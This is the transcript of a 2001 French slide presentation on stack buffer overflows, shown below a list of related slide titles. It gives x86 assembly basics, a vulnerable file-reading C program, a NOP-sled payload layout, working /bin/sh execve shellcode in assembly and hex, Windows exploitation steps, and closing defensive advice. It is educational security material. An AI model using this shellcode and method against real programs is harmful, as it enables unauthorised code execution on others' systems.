Sécurité et Buffer Overflow

Slides:



Advertisements
Présentations similaires
Électronique de base du processeur
Advertisements

Démonstrations pratiques de buffer overflows
Architecture de machines Principes généraux
Les procédures et interruptions en Assembleur (Tasm)
Introduction. Les pointeurs Bête noir des programmeurs Pas daide de Visual Studio Sauf en utilisant les « break point » Pas toujours intuitif Facile de.
ARCHITECTURE INTERNE d’un MICROPROCESSEUR
Sécurité informatique
GEF 435 Principes des systèmes d’exploitation
SSTIC 2004 Gaël Delalleau Zencom Secure Solutions Mesure locale des temps d'exécution : application.
Programmation assembleur : aperçu
merci Laurent JEANPIERRE
Assembleur
La pile un élément essentiel
Ref :
Exemple de compilation
Informatique parallèle hautes performances
Les structures de données
Architecture de machines Le microprocesseur
FAILLES APPLICATIVES – INTRODUCTION & EXPLOITATION –
Système d’exploitation : Assembleur
Histoire des systèmes d’Exploitations
Système d’exploitation : Assembleur

Système d’exploitation : Assembleur
Gestion de la Mémoire Bases Swapping Allocation Contigue Pagination
Titre arial 32 date arial 16.
Les piles Djamal Rebaïne.
Système d’exploitation : Assembleur
©Pierre Marchand, Objectifs : À la fin de cette unité, vous saurez comment sont implantées les quatre opérations arithmétiques : addition, soustraction,
LE MICROPROCESSEUR 8086/8088 Architecture externe du 8086
Les mémoires :. Mémoriser Enregistrer Conserver Restituer.
Structure de la famille de DSP Motorola 56300
INTRODUCTION AU Février 2008
Architecture Fondamentale des Microprocesseurs
Allocation de la mémoire Tâche à faire Attribuer de lespace mémoire Charger Code et Données Exécuter La tâche -Tenir à jour une carte de lespace libre/occupé.
ePolicy Orchestrator de McAfee
ΜP David Saint-Mellion.
Mécanismes d'exécution et de communication


L'Unité centrale (CPU) Le CPU doit être rapide (mesuré en temps de CPU) UNITE DE CONTROLE Générer les signaux de control/temps Contrôler le décodage/exécution.
Buffer Overflow Anatomy of an exploit.
Processeur modèle 8086 David Saint-Mellion.
Sécurité des Systèmes Informatique
Les bases de l’assembleur
SYSTEMES D’EXPLOITATION
SYSTÈME D’EXPLOITATION I
Architecture Des Ordinateurs Microprocesseur Et Mémoire
Les microcontrôleurs 8 - bits
Les deux facteurs de création de valeur.
LIBELIN Arnaud MATHEOSSIAN Dimitri TOURE Maurice.
Un outil d’estimation du temps d’exécution au pire-cas par analyse statique de programmes IRISA - Projet Solidor Antoine COLIN.
Buffer Overflow When Data Become Instructions Vendredi, 1er mars 2002 : Sart-Tilman.
Architectures des ordinateurs
Les buffers overflow
Les systèmes d’exploitation
Exécution d ’un programme en 6809: Présentation du programme
UE MAREP Cours 12 : Révisions

CHAPITRE 10 Les sous-programmes 1. Sous-programme Suite d’instructions appelée de manière répétitive Par un programme Par plusieurs programmes distincts.
@Pierre Marchand et Martin Dubois, IFT Programmation système.
Mysterie Introduction L'exploitation de programmes vulnérables est rendu de plus en plus difficile. Malgré les.
@Pierre Marchand, IFT Semaine 05 Programmation système.
PS3_16 Project 3D Vision On Chip STM Réunion Rousset – 22 Juin 2007 F. Bertrand STM Réunion Rousset – 22 Juin 2007 Implémentation VHDL de la «Census Transform»

Département Informatique L’optimisation Laurent JEANPIERRE IUT de CAEN – Campus 3.
Département Informatique Les modes d’adressage Laurent JEANPIERRE D’après le cours de Pascal FOUGERAY IUT de CAEN – Campus 3.
Département Informatique Gestion du flux d’exécution Laurent JEANPIERRE D’après le cours de Pascal FOUGERAY IUT de CAEN – Campus 3.
Programmation système
Assembleur
Transcription de la présentation:

Sécurité et Buffer Overflow Yan Morvan – Juin 2001

Plan Le microprocesseur Intel 80386 Principe du Buffer Overflow Que faire après la prise de contrôle ? Comment se protéger contre ces attaques ?

Le microprocesseur Intel 80386 Les registres de segment : CS, SS, DS, ES, FS, GS Les registres banalisés : EAX, EBX, ECX, EDX, ESI, EDI Les autres registres : EFLAGS, EIP, EBP, ESP

Décomposition d’un programme le code les datas la pile

Mécanisme de segmentation CS SS DS descripteur de segment Code Pile Datas Mémoire

Organisation de la mémoire sous Windows 32 et Linux CS SS DS descripteur de segment Code Pile Datas Mémoire

L’instruction mov movx <source>,<dest> ; x = b, w ou l movl $2001,%eax // EAX <- 2001 ; copie le nombre 2001 dans EAX movw $0xFFFF,%bx // BX<- 0xFFFF ; copie la valeur 65536 dans BX movl %ecx,(%eax) // [EAX] <- ECX ; [EAX] est la case mémoire pointée par EAX movb $0,4(%eax) // [EAX+4] <- 0 ; adressage base, déplacement

Les sauts inconditionnels jmp 0x08056E42 /* Adressage direct EIP <- 0x08056E42 ; le programme va à l’adresse 0x08056E42 */ Debut: /* Etiquette Debut */ jmp Debut /* Déplacement généré sur 8 bits de valeur –2 (2 est la taille en octets de l’instruction jmp Debut) */ jmp *%eax /* Adressage indirect EIP <- EAX ; Saut à l’adresse contenue dans EAX */

La pile pushl <dest> décrémente ESP de 4 et pousse le contenu de <dest> sur la pile popl <dest> dépile la valeur pointée par ESP dans <dest> et incrémente ESP de 4

Conventions de la procédure appelante d = appel(a,b,c) ; pushl c pushl b pushl a call appel addl $12,%esp // Suppression des paramètres de la pile. void main() { int a,b,c,d ; | d = appel(a,b,c) ; }

Conventions de la procédure appelée Début : pushl %ebp // EBP empilé movl %esp,%ebp // EBP <- ESP subl $8,%esp /* Place pour les variables locales d et pt D est un entier de 4 octets Pt est un pointeur contenant une adresse. Il est donc codé sur 4 octets. */ pushad // Sauvegarde de tous les registres Fin : popad // Restauration des registres movl –4(%ebp),%eax // -4(%ebp) contient la valeur de d movl %ebp,%esp // Suppression des variables locales popl %ebp // Restauration de l'ancien EBP  ret int appel(int a, int b, int c) { int d ; char *pt ; | return d ; }

nème paramètre empilé par l'appelant Contexte de l'appelant nème paramètre empilé par l'appelant 1er paramètre empilé par l'appelant Adresse de retour empilée par call EBP de l'appelant sauvé par l'appelé 1ère variable locale de l'appelé nème variable locale de l'appelé Sauvegarde des registres utilisés par l'appelé Adresses hautes Adresses basses Croissance de la pile ESP EBP

Le programme vulnérable int main(int argc , char * argv[]) { // Lit une chaine dans le fichier texte passe en 1er paramètre et l'affiche à l'écran char buf[512] , *c ; FILE *fichier ; | c = &buf[0] ; while((*c = fgetc(fichier)) != 0) { c++ ; }

Etat de la pile au début du main Adresse de retour empilée par call main EBP de l'appelant sauvé par main pointeur *c (4 octets) Adresses hautes Adresses basses ESP EBP buf 512 octets buf[511] buf[0] *fichier (16 octets) 8 octets supplémentaires

Nouvelle adresse de retour Adresses basses Adresses hautes buf[0] NOP shellcode 0xeb 0x18 'h' Nouvelle adresse de retour buf[511] EBP sauvegardé adresse de retour Sens de la pile Exécution des instructions size_tot size_tot / NOP_DIV

Ouvrir un shell en C #include <stdio.h> void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); }

Besoins nécessaires à l’ouverture du Shell Avoir en mémoire la chaîne "bin/sh" suivie du caractère NULL (caractère de fin de chaîne) Avoir en mémoire l'adresse de la chaîne "bin/sh" suivie d'un double mot NULL Copier 0xb dans le registre EAX Copier l'adresse de "bin/sh" dans le registre EBX Copier l'adresse de l'adresse de "/bin/sh" dans le registre ECX Copier NULL dans le registre EDX Exécuter l'instruction int $0x80

Compilation et obtention des codes opérations void main() { __asm__(" jmp 0x18 //2 octets popl %esi // 1 octet movl %esi,0x8(%esi) // 3 octets xorl %eax,%eax // 2 octets movb %al,0x7(%esi) // 3 octets movl %eax,0xc(%esi) // 3 octets movb $0xb,%al // 2 octets movl %esi,%ebx // 2 octets leal 0x8(%esi),%ecx // 3 octets leal 0xc(%esi),%edx // 3 octets int $0x80 // 2 octets call -0x19 // 5 octets .string \"/bin/sh\" "); } char shellcode[] = "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";

Précautions à prendre Supprimer du code les caractères interdits Utiliser l’adressage relatif pour les sauts Positionner le pointeur de pile pour ne pas écraser le code

Exploit sous Windows Importation des fonctions systèmes utiles avec LoadLibraryA et GetProcAddress de la librairie Kernel32.dll Utiliser un débugger temps réel pour trouver l’adresse de retour Editer le fichier texte avec un éditeur binaire

Se protéger lorsqu’on est utilisateur Consulter régulièrement les newsletter portant sur la sécurité Appliquer les mises à jour immédiatement

Protéger lorsqu’on est développeur Instructions C à remplacer : gets(), strcpy(), strcat(), sprintf(), scanf(), sscanf() Utiliser StackGuard ou StackShield